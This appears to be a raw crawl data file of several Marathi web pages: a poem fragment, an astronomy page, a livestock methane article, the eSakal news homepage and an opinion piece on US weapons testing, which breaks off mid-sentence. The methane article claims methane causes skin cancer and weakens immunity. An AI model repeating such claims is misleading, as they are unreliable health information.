दाराच्या मागे,\nबाहेर पाऊस कोसळत असेल. ..\nकधीतरी उघडेल हे दार,\nमलाही घेऊन जाईल सोबत\nपण असं होत नाही,\nमाझ्याच मनाचं दार उघडायचं,\nमलाही धाडस होत नाही. ..\nमी बघतो दाराच्या फटींतून\nत्याची झलक दिसावी या आशेने,\nबाहेरही गडद अंधारच असतो. ..\nकधीही अवकाळी येणारा हा\nपाऊसच मुळी तिथे नसतो. ..\nमी न वळता मागे चालायला लागतो,\nहाताला लागते मोडकळीस आलेली,\nजुनाट, लाकडी खुर्ची. ..\nआधार घेत खाली बसतो,\nडोळे घट्ट मिटून घेतो,\nअजूनही सुरूच असलेल्या पावसाचा\nआवाज ऐकत बसतो. ..\nअंधाऱ्या खोलीत बसून. ..\nआधी आकाशाकडे बघितलं की निळ्याशार कॅनव्हासवर ग्रे...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00225.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://avakashvedh.com/suryamala/suryamalechesthan.html", "date_download": "2018-09-25T17:27:17Z", "digest": "sha1:TKIESCXZRCDB6URYM6HVQXTIVULD5DOA", "length": 8780, "nlines": 124, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nसर्पिलाकृती भुजा असलेल्या आपल्या आकाशगंगेच्या एका बाहूमध्ये आपली सूर्यमाला आहे. आपल्या आकाशगंगेमध्ये साधारण २०० अब्ज तारे आहेत. पण त्यापैकी बहुतांश तारे आपण पाहू शकत नाही. रात्रीच्या अवकाशामध्ये दिसणार्‍या जवळपास सर्वच गोष्टी आपल्या आकाशगंगेतील आहेत.\nसाधारण १, ००, ००० ( १ लाख ) प्रकाशवर्षे व्यास असलेल्या आपल्या आकाशगंगेच्या केंद्रापासून जवळपास २६, ००० प्रकाशवर्षे आपली सूर्यमाला आकाशगंगे भोवती फिरते आहे. खरेतर सूर्यमालेच्या केंद्रस्थानी असलेला सूर्य आपल्या प्रचंड गुरुत्वाकर्षणाच्या बळावर त्याच्या भोवती फिरणार्‍या ग्रहमालेला घेऊन प्रती सेकंद २७० कि. मी. या वेगाने २० कोटी वर्षांमध्ये आकाशगंगेभोवती एक फेरी पूर्ण करतो. आतापर्यंत आपल्या सूर्याने आकाशगंगेच्या २० फेर्‍या पूर्ण केल्या आहेत.\nआकाशगंगेच्या प्रतलामध्ये सूर्यमाला ६५ अंश कललेली असल्याने आपणास रात्रीच्या आकाशामध्ये आकाशगंगेचा पट्टा पाहायला मिळतो.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00225.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-story-marathi-methane-gas-emission-livestock-11747?tid=118", "date_download": "2018-09-25T17:46:08Z", "digest": "sha1:O77SP5YFL2TNSEYXS65FHEW2M2XY4ZJD", "length": 22653, "nlines": 177, "source_domain": "www.agrowon.com", "title": "agriculture story in marathi, methane gas emission in livestock | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nयोग्य व्यवस्थापनातून कमी होते मिथेन वायूचे प्रमाण\nयोग्य व्यवस्थापनातून कमी होते मिथेन वायूचे प्रमाण\nडॉ. अमोल आडभाई, डॉ. गणेश आढेराव\nबुधवार, 29 ऑगस्ट 2018\nजनावरे खाल्लेला चारा रवंथ करतात. खाद्य खाताना रवंथ करणारी जनावरे तोंडावाटे आणि शेणाबरोबर मिथेन वायू बाहेर सोडतात. जागतिक स्तरावर १/३ मिथेन वायू प्राण्यांद्वारे वातावरणात सोडला जातो. रवंथ करणाऱ्या जनावरांपासून होणारे मिथेन वायूचे उत्सर्जन कमी केले जाऊ शकते.\nजनावरे खाल्लेला चारा रवंथ करतात. खाद्य खाताना रवंथ करणारी जनावरे तोंडावाटे आणि शेणाबरोबर मिथेन वायू बाहेर सोडतात. जागतिक स्तरावर १/३ मिथेन वायू प्राण्यांद्वारे वातावरणात सोडला जातो. रवंथ करणाऱ्या जनावरांपासून होणारे मिथेन वायूचे उत्सर्जन कमी केले जाऊ शकते.\nऔद्योगीकरणात वाढ झाल्यामुळे वातावरणातील कार्बन डायऑक्साइड तसेच इतर दूषित वायूचे प्रमाण दिवसेंदिवस वाढत अाहे, त्यामुळे जागतिक तापमानात वाढ होत आहे. मिथेन वायूचा वातावरणावर होणारा परिणाम हा कार्बन डायऑक्साइड वायूमुळे होणाऱ्या परिणामांपेक्षा खूप जास्त असतो. कार्बन डायऑक्साइड अाणि मिथेन वायू सूर्यकिरणांचे शोषण करून तापमान वाढविण्यास मदत करतात. त्यामुळे जागतिक तापमानात वाढ होत अाहे. पाळीव प्राण्यांद्वारे मिथेन वायूचे मोठ्या प्रमाणात उत्सर्जन होते. भारतात गायी, म्हशी, शेळ्या व मेंढ्यांचे प्रमाण इतर देशांच्या तुलनेत जास्त आहे. त्यामुळे त्यांच्यापासून उत्सर्जित होणाऱ्या मिथेन वायूचे प्रमाणही जास्त आहे.\nजनावरांनी खाल्लेल्या चाऱ्याच्या पचनादरम्यान मिथेन वायूची निर्मिती होते. जनावरांच्या तोंडावाटे अाणि शेणावाटे बाहेर पडणारा मिथेन वायू एक महत्त्वाचा ऊर्जा स्राेत असून कार्बन डायअाॅक्साईड, नायट्रस ऑक्साईड, यासारखाच एक हरितगृहातील वायू आहे. ज्यामुळे जागतिक तापमानात वाढ होत अाहे. कार्बन डायऑक्साईडच्या तुलनेत २१ पट जास्त शक्तीने मिथेन वायू सूर्यापासूनच्या उष्णतेला धरून ठेवतो व जागतिक तापमान वाढीस मदत करतो. मिथेन हा ज्वलनशील, पाण्यावर तरंगणारा अाणि जळल्यानंतर विषारी घटक सोडणारा वायू असून वातावरणामध्ये ९-१५ वर्षे राहू शकतो.\nभारतात एकूण मिथेनचे उत्पादन\n१) शेती ः ६०-१०० टेराग्रॅम/वर्ष\n२) रवंथ करणारी जनावरे ः ८० टेराग्रॅम/वर्ष\n३) बायोमासचे ज्वलन ः ४० टेराग्रॅम/वर्ष\n४) जनावरांच्या उत्सर्जित पदार्थांपासून ः २५ टेरा ग्रॅम /वर्ष\nरवंथ करणाऱ्या जनावरांमध्ये मिथेनची निर्मिती\nमिथेन हा रवंथ करणाऱ्या जनावरांच्या पोटामध्ये (रुमेन) आंबावण्याच्या प्रक्रियेने एक दुय्यम उत्पादन म्हणून तयार होतो.\nमिथेनॉजेनिक बॅक्टेरिया (जिवाणू) व प्रोटोझोआ हे पोटामध्ये तयार होणाऱ्या हायड्रोजनचे रूपांतर मिथेनमध्ये करतात.\nमिथेन हा आंबावण्याच्या प्रक्रियेत तयार होणारा शेवटचा पदार्थ आहे.\nजनावराच्या रुमेनमध्ये सुमारे ६५ टक्के कार्बन डायऑक्साइड व २५-२७ टक्के मिथेन तयार होतो.एकूण ऊर्जेच्या ८-१० टक्के ऊर्जा ही मिथेन वायुच्या रूपात वाया जाते.\nप्रत्येक १०० ग्रॅम कार्बोहायड्रेट (ऊर्जा) पासून प्रत्येकी ४.५ ग्रॅम मिथेन तयार होतो. यामध्ये गायी- २५० लीटर/दिवस, म्हैस- २५० लीटर / दिवस, मेंढी- ४० लीटर / दिवस, शेळी- ३० लीटर / दिवस मिथेन वायू तयार करतात.\nमिथेनॉजेनिक सूक्ष्मजीव हे सेल्युलोजवर अवलंबून असतात. पोटामध्ये (रुमेन) तयार होणाऱ्या प्रोपीओनीक ॲसिड व मिथेनचे प्रमाण हे एकमेकांच्या विरोधी असते. म्हणजेच जर मिथेनचे प्रमाण जास्त असेल तर प्रोपीओनीक ॲसिडचे प्रमाण कमी असते व मिथेनचे प्रमाण कमी असेल तर प्रोपीओनीक ॲसिडचे प्रमाण जास्त असते.\nमिथेन वायूनिर्मितीसाठी कारणीभूत घटक\nजनावरांच्या आहारात जेवढे जास्त तंतुमय (फायबरयुक्त) पदार्थ तेवढ्या जास्त प्रमाणात मिथेन वायूची निर्मिती होते. कारण, फेरमंटेशनसाठी जास्त वेळ लागतो त्यामुळे मिथेनची निर्मितीही जास्त होते.\nद्विदल वनस्पतींपासून कमी प्रमाणात तर एकदल वनस्पतींपासून जास्त प्रमाणात मिथेन तयार होतो. पशुखाद्यामुळे प्रोपीओनीक ॲसिड वाढते त्यामुळे मिथेनची निर्मिती कमी होते. कुट्टी केलेल्या चाऱ्यातूनही मिथेनचे कमी प्रमाणात उत्सर्जन होते.\nजसे जनावरांचे वय वाढत जाते तसा मिथेन कमी तयार होतो.\nसंकरित व कमी दूध देणारी जनावरे जास्त मिथेन उत्सर्जित करतात. उन्हाळ्यात हिवाळ्यापेक्षा जास्त मिथेन तयार होतो.\nमिथेन उत्सर्जनामुळे होणारे दुष्परिणाम\nकार्बन डायऑक्साईडपेक्षा २१ पटीने जास्त तापमान वाढवून जागतिक तापमान वाढीस मदत करतो.\nमहत्त्वाचा हरितगृहातील वायू असून ऑक्सिजनची जागा घेऊन त्याचे प्रमाण कमी करतो.\nदूध उत्पादन कमी करतो.\nत्वचेचा कॅन्सर होण्यास कारणीभूत आहे.\nमानवी आरोग्यास घातक असून प्रतिकारशक्ती कमी करतो.\nजनावरांना चारा कुट्टी करून द्यावा.\nसंकरितच्या जनावरांच्या तुलनेत देशी जनावरे कमी मिथेन तयार करतात.\nशेणापासून बायोगॅस तयार करणे बायोगॅसपासून तयार होणाऱ्या वायूपासून मोठ्या प्रमाणात ऊर्जा मिळते. त्यामुळे इंधनाशिवाय वीजनिर्मिती करता येते.\nजनावरांना दिला जाणारा चारा कोणत्या प्रतीचा अाहे यावरही मिथेन वायूच्या उत्सर्जनाचे प्रमाण ठरते. म्हणजे गव्हाच्या तुसापेक्षा बरसीम जास्त दिल्याने ५-४१ टक्क्यांपर्यंत मिथेनचे उत्सर्जन कमी होते. जनावरांच्या अाहारात द्विदल वनस्पतींचा समावेश केल्यानेही १५-२१ टक्क्याने मिथेनचे उत्सर्जन कमी होते.\nसंपर्क ः डॉ. अमोल आडभाई, ८८०५६६०९४३\n(राष्ट्रीय दुग्ध संशोधन संस्था, कर्नाल, हरियाणा)\nपशुखाद्य दूध कॅन्सर आरोग्य बायोगॅस biogas गॅस gas इंधन\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजनावरांच्या कोठीपोटातील आम्लीय अपचनबऱ्याचदा जनावरांमध्ये अन्नपचनाच्या समस्या आढळून...\nपशुसल्ला : काही महत्त्वाच्या उपाययोजनाजनावरांच्या सुदृढ कळपामध्ये रोगराईचे प्रमाण...\nयोग्य प्रजनन व्यवस्थापनातून वाढवा...दुधाळ जनावरांची योग्य देखभाल व योग्य नियोजन...\nदुधातील घटकांवर परिणाम करणारे घटक दुधातील स्निग्ध पदार्थ व एसएनएफ यांच्या...\nदुग्धोत्पादन, प्रजननासाठी खनिज मिश्रणेजनावरांना हिरवा अाणि वाळलेला चारा पुरेशा प्रमाणात...\nटंचाई टाळण्यासाठी चाऱ्याचे नियोजन अावश्...भविष्यातील चाराटंचाईवर मात करण्यासाठी उपलब्ध...\nयोग्य उपचाराने दूर करा मायांग बाहेर...दुधाळ जनावरांतील गायी व म्हशींमध्ये विण्यापूर्वी...\nपोळ्याला घ्या बैलांची काळजीबैलपोळ्यादिवशी बैलांना अंघोळ घातली जाते व त्यांना...\nशेळ्यांच्या अाहारातील झाडपाल्याचे...शेळ्या झाडपाला खूप आवडीनं खातात. त्यामुळे शेतातील...\nकुक्कुटपालन सल्ला कोंबड्यांना पावसाळ्यातील वातावरणामुळे विविध...\nबाह्य परजीवींच्या नियंत्रणासाठी गोठ्यात...जनावरांच्या शरीरावर, केसांमध्ये अाढळणाऱ्या बाह्य...\nयोग्य व्यवस्थापनातून कमी होते मिथेन...जनावरे खाल्लेला चारा रवंथ करतात. खाद्य खाताना...\nगुणवत्तापूर्ण दूध उत्पादनाची सूत्रेजास्त दूध व फॅट मिळवण्यासाठी तसेच त्यापासून विविध...\nखाद्य व्यवस्थापनात साधली प्रति किलो १८...निरा (जि. पुणे) येथील पंडित चव्हाण यांच्याकडे...\nशेततळ्यातील मत्स्यपालन यशस्वी करण्याची...अगदी जिरायती क्षेत्रातही २ ते १० गुंठ्यांपर्यंत...\nशेळ्यांना आहे वर्षभर मार्केटसांगली जिल्ह्यातील बामणी (ता. खानापूर, सांगली)...\nरेशीम उद्योगाने आणली कौटुंबिक स्थिरता पूर्वी पूरक म्हणून सुरू केलेला रेशीम उद्योग आता...\nवेळीच करा जनावरांमधील आंत्र परोपजीवींचे...आंत्रपरोपजीवीच्या प्रादुर्भावामुळे जनावरांची भूक...\nयोग्य प्रजनन व्यवस्थापनातून वंधत्व...जनावरातील वंधत्वामुळे मोठ्या प्रमाणात नुकसान सहन...\nस्वच्छता, लसीकरणातून कमी करा शेळ्यांतील...शेळ्यांची सर्वात जास्त काळजी पावसाळ्यामध्ये...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00225.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/", "date_download": "2018-09-25T17:36:36Z", "digest": "sha1:XZBVJ3FCWK4SVAH32XDCAOVYPGYSSIKV", "length": 20234, "nlines": 279, "source_domain": "www.esakal.com", "title": "eSakal | Marathi News, Latest Marathi News, Marathi News Paper, Ganesh Festival, Ganesh Festival 2018, Ganesh Festival in India", "raw_content": "\nताज्या बातम्या आणखी वाचा\nविसर्जन मिरवणुकीदरम्यान राज्यभरात 24 जण बुडाले\nराज्यात थाटात गणेश विसर्जन\n‘तोंडी तलाक अध्यादेशामुळे मुस्लिम पुरुषांवर अन्याय’\nयंदा ६५ टन निर्माल्य संकलित\nबोर्डी - पोलिसांनी छापा मारलेल्या जुगाराच्या अड्ड्याचा संबंध...\nकल्पना लाझमी यांचे निधन\nमानाच्या बाप्पांचे हौदात विसर्जन\nढोल-ताशांनी केली ‘डीजे’ची बरोबरी\nसागरी महामार्गाचे दुपदरीकरण; डी पी आर अडीच हजार कोटींचा\nसभापतींकडून स्व: खर्चाने शाळा दुरुस्ती\nरो-रो सेवेचा गुजरातपर्यंत विस्तार - कोकण रेल्वे\nअत्याचार प्रकरणः ‘ते’ लॉज सील करण्याचा प्रस्ताव\nआमदार सदानंद चव्हाण हॅट्ट्रिक करणार - उदय सामंत\nउदय सामंत, शेखर निकमांच्या मैत्रीत मिठाचा खडा\nउस्मानाबाद जिल्ह्यात स्वाईन फ्लुचा पहिला बळी\nशेकडो वर्षांच्या औषधी यात्रेला अंधश्रद्धेचे ग्रहण\nधरण भरेल; पण पाणी खैरेंच्या आशीर्वादानेच\nगुलालाची उधळण अन्‌ ‘पावली’\nपश्चिम महाराष्ट्र आणखी वाचा\nगोकुळ वार्षिक सभाः सभास्थळ २४ तास आधी पोलिसांनी ताब्यात...\nकास पठारावर फुलांचा नजराणा\nकोल्हापुरात दहा ऑक्‍टोबरला ऊस परिषद\nगारगोटी येथे शाळकरी मुलीचा होरपळून मृत्यू\nबेकायदा गर्भपात प्रकरणः विट्यातील दलाल डॉक्‍टर अटकेत\nउत्तर महाराष्ट्र आणखी वाचा\n'मेरे पती की हत्या हुई है, मुझे इन्साफ चाहीये\nशिक्षकांची विद्यापीठाला दोन लाखाची देणगी\nढेकू खुर्दच्या सरपंच ज्योती सूर्यवंशी विरोधातील अविश्वास ठराव...\nसटाण्यात अभूतपूर्व वातावरणात गणेश विसर्जन मिरवणूक संपन्न\nनाशिकमध्ये गुरुवारी गोदा-कादवा ऊस, कांदा, द्राक्ष परिषद,...\nगणराय निरोपाची 12 तास मिरवणूक, थिरकली तरुणाई,गुलाल-डॉल्बीवर...\nनागपुरातील देहव्यापार 100 कोटींवर\nवडिलांची जात मुलाला नाकारली\nचंद्रपूर : गोंडपिपरीच्या भुमीपुत्राचा अमेरिकेत डंका\nमुलासह विदेशवारीवरून महापौरांविरोधात फलक\nहॉटेल गंगाकाशीमधील \"सेक्‍स रॅकेट'चा भंडाफोड\nलाईव्ह अपडेट्स आणखी वाचा\nसिटिझन जर्नालिझम आणखी वाचा\nनाल्यामध्ये टाकला जातो कचरा पुणे : धायरी ते रायकर मळा रस्त्यावर असणाऱ्या ओढ्यामध्ये सर्रासपणे नागरिकांकडून कचरा टाकला जात आहे. याकडे...\nगटाराचे झाकण दुरुस्थ करा पुणे : सेनापती बापट रस्त्याकडून पत्रकारनगरकडे जाताना सिग्नलजवळील गटारच्या झाकणाची दुरवस्था झाली आहे. एखाद्याचा पाय...\nसर्वाधिक प्रतिक्रिया असलेल्या बातम्या आणखी वाचा\nआता भाजपला नारळ देणार; कार्यकर्त्यांची घोषणाबाजी पुणे : डीजेला बंदी असल्याचा राग अनेक मंडळांना अनावर झाला आणि कार्यकर्त्यांनी सत्ताधारी भाजपविरोधात जोरदार घोषणाबाजी केली. गणपती...\nसर्वाधिक वाचलेल्या बातम्या आणखी वाचा\nआता भाजपला नारळ देणार; कार्यकर्त्यांची घोषणाबाजी पुणे : डीजेला बंदी असल्याचा राग अनेक मंडळांना अनावर झाला आणि कार्यकर्त्यांनी सत्ताधारी भाजपविरोधात जोरदार घोषणाबाजी केली. गणपती...\nAsia Cup : अखेर त्या तरुणीची ओळख पटली\nAsia Cup : अन् पाकिस्तानी व्यक्तीनेच गायले भारतीय...\nवॉर्नर आणि स्मिथच्या पुनरागमनामुळे गर्दी\n..तर भारतीय फलंदाज ऑस्ट्रेलियातही ढेपाळतील :...\nफोटो फीचर आणखी वाचा\nचिंचवडमध्ये साडेदहा तास विसर्जन...\nपारंपारिक खेळ आणि ढोलताशाच्या...\nसकाळ व्हिडिओ आणखी वाचा\nगणपती विसर्जन मिरवणुकीत थिरकला...\n#GyanGanesh जिद्द, कष्टाने उभे...\n#GyanGanesh रोज पस्तीस हजार...\nनवीन मैत्री होईल. मनोरंजनाकडे कल राहील. उत्साह व उमेद वाढेल.\nकोडी सोडवा, आपल्या शब्दसंग्रहात भर घाला\nभाषेची गोडी लागते ती शब्दांशी मनसोक्त खेळल्यानंतर.. एखाद्या वाक्यासाठी, उपमेसाठी चपखल शब्द शोधण्यासाठी धडपड अनुभवा आता ऑनलाईनही..\n#PmcIssues पुणे महानगर पालिकेकडून सर्व सामान्य नागिरकांच्या कामाची तत्काळ दखल घेतली जाते काय\n'शुभ लग्न सावधान'चा पार पडला...\n'ठग्स् ऑफ हिंन्दुस्थान'च्या पात्रांचे...\nराखी सावंत करणार 'तो' अवयव दान\n'होम स्वीट होम' जगण्यातल्या जाणिवा...\nनीम के पत्ते कडवे होते है, मगर खून तो साफ करते है\nजमाने के जिस दौर से हम गुजर रहे हैं, अगर आप उससे वाकिफ नहीं तो मेरे अफसाने पढ़िए और अगर आप इन...\nआयुष्याच्या प्रवासातही भार कमी करीत जायला हवे. म्हणजे चित्तशुद्धी अनुभवता येते. पर्यटनविषयीच्या...\nअमेरिकेतही गणपतीबप्पाचा गजर, वेस्टलॅण्ड...\nहिंगोली - उच्च शिक्षणानंतर अमेरिकेत गेल्यानंतरही भारतीय संस्कृतीची नाळ कायम ठेवणाऱ्या भारतातून नोकरीच्या...\nजीमेलही होतंय 'स्मार्ट' (योगेश कानगुडे) अनेक सुविधा वेळोवेळी अपडेट होत असतात. त्यामुळं वेळेची बचत होत असते आणि सुरक्षेपासून गोपनीयतेपर्यंत अनेक गोष्टींबाबतची चिंता मिटते. जीमेलमध्येही...\nशेअर बाजार पुन्हा गडगडला\nअर्थमंत्री जेटलींची उद्या बॅंकांच्या...\nकुटुंबासाठी आरामदायी टोयोटा \"यारीस'\nइम्रान यांची मुजोरी (अग्रलेख)\nपाकिस्तानच्या दुटप्पी भूमिकेमुळे चर्चेला नकार देण्याखेरीज भारतासमोर दुसरा पर्याय नव्हता. उभय...\nचीनच्या वाढत्या प्रभावाच्या पार्श्‍वभूमीवर शेजारी देशांबरोबरील संबंध हा भारताच्या परराष्ट्र धोरणासमोरील...\nमाध्यान्हीच्या सुमाराला अखेरची आरती झाल्यावर मांडवातून (एकदाची) हललेली मूर्ती गल्लीच्या तोंडाशीच...\nडिजिटल स्वच्छतेची गरज ज्या माहितीचा कोणालाही फायदा होणार नाही किंवा झालेच तर त्या माहितीने नुकसानच होऊ शकते, अशा कितीतरी पोस्टद्वारे आपण कचरानिर्मिती करत असतो. कचरा...\nसेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि केंद्र सरकारच्या विविध योजना आहेत. यामध्ये प्रामुख्याने...\nआर्थिक नुकसान पातळीनुसारच करा कपाशीतील किडींचे...\nसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या स्थितीत आहे. ऑगस्ट महिन्याच्या दुस­ऱ्या पंधरवड्यात...\nकाही सुखद आणखी वाचा\nनोकरी गमावली; पण रेशीम शेतीतून पत कमावली\nसातपुड्याच्या पायथ्याशी वसलेल्या संग्रामपूर तालुक्‍यातील चांगेफळ बुद्रुक ( जि. बुलडाणा) येथील श्रीकृष्ण...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00225.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/global/us-attack-afghanistan-experiment-lab-41950", "date_download": "2018-09-25T17:44:02Z", "digest": "sha1:LUXBJGDSJLNNGMMI3X34UK67FW34PZKJ", "length": 16818, "nlines": 179, "source_domain": "www.esakal.com", "title": "US attack afghanistan experiment lab अमेरिकेची \"प्रयोगशाळा' | eSakal", "raw_content": "\nमंगळवार, 25 एप्रिल 2017\nअमेरिकेने अफगाणिस्तानात अलीकडेच केलेल्या बॉंबहल्ल्यामागे नव्या अस्त्राची रणांगणावर प्रत्यक्ष चाचणी घेण्याचा इरादा असणार. अमेरिकेने यापूर्वीदेखील अशा प्रकारच्या चाचण्या केल्याचे दिसते.\nअमेरिकेने अफगाणिस्तानात अलीकडेच केलेल्या बॉंबहल्ल्यामागे नव्या अस्त्राची रणांगणावर प्रत्यक्ष चाचणी घेण्याचा इरादा असणार. अमेरिकेने यापूर्वीदेखील अशा प्रकारच्या चाचण्या केल्याचे दिसते.\nअफगाणिस्तानच्या आग्नेय भागातील नांगरहार प्रांतातील दहशतवाद्यांच्या अड्ड्यांवर महाशक्तिशाली बॉंब टाकून अमेरिकेने \"इसिस'ला कितपत हानी पोचविली आहे, हे भविष्यकाळच ठरवेल. परंतु, या हल्ल्यामागे उत्तर कोरियाला खबरदारीचा इशारा निश्‍चितच दिला गेला आहे. म्हणूनच, अफगाणिस्तानचे माजी अध्यक्ष हमीद करझाई यांनी, 'हा हल्ला अमेरिकेने आपल्या नव्या अस्त्राची रणांगणावर प्रत्यक्ष चाचणी घेण्याच्या इराद्याने केला आहे,' असे म्हटले आहे\nइतिहासाची पाने चाळून पाहता त्यांच्या या मुद्द्यामध्ये पुष्कळ तथ्य असू शकेल उदाहरणार्थ, दुसऱ्या महायुद्धाच्या अखेरच्या पर्वात जपानचे सैन्य आणि आरमार नष्ट झाल्यानंतर त्या देशाचा पराभव निश्‍चित झाला होता. अमेरिकेने तेव्हाच अण्वस्त्र वापराचा बडगा दाखवून जपानपुढे \"बिनशर्त शरणागती'चा पर्याय ठेवला असता, तर त्या देशाने थोडीफार घासाघीस करून कदाचित तो मान्यही केला असता. परंतु, त्यामुळे मोठ्या औद्योगिक शहरावर डागलेल्या अण्वस्त्राचा परिणाम काय होईल हे पडताळून पाहता आले नसते. म्हणून \"युद्ध समाप्ती'च्या पोकळ सबबीवर अमेरिकेने सहा ऑगस्ट 1945 रोजी हिरोशिमावर पहिला अणुबॉंब टाकला. \"युद्ध समाप्ती' हाच त्यामागचा खरा हेतू असता, तर पहिला बॉंब टाकल्यानंतर तरी जपानला संपूर्ण शरणागती पत्करण्यास थोडा वेळ द्यायला हवा होता; परंतु तसे न करता नऊ ऑगस्ट रोजी अमेरिकेने नागासाकीवर दुसरा अणुबॉंब टाकला उदाहरणार्थ, दुसऱ्या महायुद्धाच्या अखेरच्या पर्वात जपानचे सैन्य आणि आरमार नष्ट झाल्यानंतर त्या देशाचा पराभव निश्‍चित झाला होता. अमेरिकेने तेव्हाच अण्वस्त्र वापराचा बडगा दाखवून जपानपुढे \"बिनशर्त शरणागती'चा पर्याय ठेवला असता, तर त्या देशाने थोडीफार घासाघीस करून कदाचित तो मान्यही केला असता. परंतु, त्यामुळे मोठ्या औद्योगिक शहरावर डागलेल्या अण्वस्त्राचा परिणाम काय होईल हे पडताळून पाहता आले नसते. म्हणून \"युद्ध समाप्ती'च्या पोकळ सबबीवर अमेरिकेने सहा ऑगस्ट 1945 रोजी हिरोशिमावर पहिला अणुबॉंब टाकला. \"युद्ध समाप्ती' हाच त्यामागचा खरा हेतू असता, तर पहिला बॉंब टाकल्यानंतर तरी जपानला संपूर्ण शरणागती पत्करण्यास थोडा वेळ द्यायला हवा होता; परंतु तसे न करता नऊ ऑगस्ट रोजी अमेरिकेने नागासाकीवर दुसरा अणुबॉंब टाकला कारण त्यांच्या या नव्या अस्त्राची चाचणी पहिल्या बॉंबमुळे पूर्ण झाली नव्हती\nसकृतदर्शनी जपानवर टाकलेले दोन्ही बॉंब ही अण्वस्त्रेच होती, तरी त्यांच्या घडणीत महत्त्वाचा फरक होता. हिरोशिमावर टाकलेला बॉंब साठ किलोग्रॅम परमोच्च समृद्धीकृत युरेनियम 235 या धातूचा वापर करून बनविला होता, तर नागासाकीवर टाकलेला बॉंब केवळ आठ किलोग्रॅम प्लुटोनियम 239चा वापर करून बनविला होता. तोही तेवढाच प्रभावी ठरत असेल, तर कमी खर्चात प्लुटोनियम वापरून अमेरिकेला आपल्या अण्वस्त्रसाठ्यात झपाट्याने वाढ करणे शक्‍य होणार होते\nदुसरे उदाहरण : मे 1999मध्ये अमेरिकेने सर्बियामध्ये अशाच एका नव्या अस्त्राची चाचणी घेतली. तो होता \"ग्राफाईट बॉंब' किंवा \"ब्लॅक ऑउट' 